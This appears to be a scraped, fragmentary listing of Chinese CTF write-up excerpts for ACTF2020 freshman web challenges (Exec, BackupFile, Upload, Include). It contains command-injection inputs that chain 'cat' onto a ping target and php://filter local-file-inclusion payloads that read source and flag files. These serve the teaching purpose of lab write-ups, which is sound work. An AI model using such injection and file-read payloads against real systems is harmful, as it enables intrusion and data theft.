ACTF2020

根据题目分析，俺们要用ping命令！ 打开靶机，输入127.0.0.1尝试提交，直接出现无过滤； 尝试管道符执行命令，常见管道符： 1、|（就是按位或），直接执行|后面的语句 2、||（就是逻辑或），如果前面命令是错...

baidu.com & ls .. baidu.com & ls ../.. baidu.com & ls ../../.. 发现flag 查看 baidu.com & cat ../../../flag BUUCTF(九) [ACTF2020 新生赛]Exec 1的相关教程结束。

0x00 知识点 命令执行 这里见了太多了。。以前也写过： https://www.cnblogs.com/wangtanzhi/p/12246386.html 命令执行的方法大抵是加上管道符或者分号 0x01 解题 最简单的命令执行了，啥也没过滤，一开始 127.0...

0x00 知识点 备份文件 index.php.bak str弱相等被转化为整型 0x01解题 根据提示下载备份文件得到源码 看到==弱相等 且被强制转为整型 http://7d5cccc5-4ecd-44b2-8674-d015237e419a.node3.buuoj.cn/?key=123 [A...

0x00 知识点 emm常规上传题目 之前写的文件上传文章： https://www.cnblogs.com/wangtanzhi/p/12243206.html 0x01 解题 简单测试一下就getshell了： [ACTF2020 新生赛]Upload的相关教程结束。

0x00 知识点 本地文件包含 ?file=php://filter/read/convert.base64-encode/resource=index.php ?file=php://filter/read/convert.base64-encode/resource=flag.php 0x01 解题 [ACTF2020 新生赛]Include的相关教...

[ACTF2020 新生赛]BackupFile 尝试找到源代码，加上题目是备份文件，猜测备份文件里面有网站的源代码，御剑扫描一下，就扫到index.php 访问index.php.bak 下载源代码： <?php include_once "flag.php"; if(i...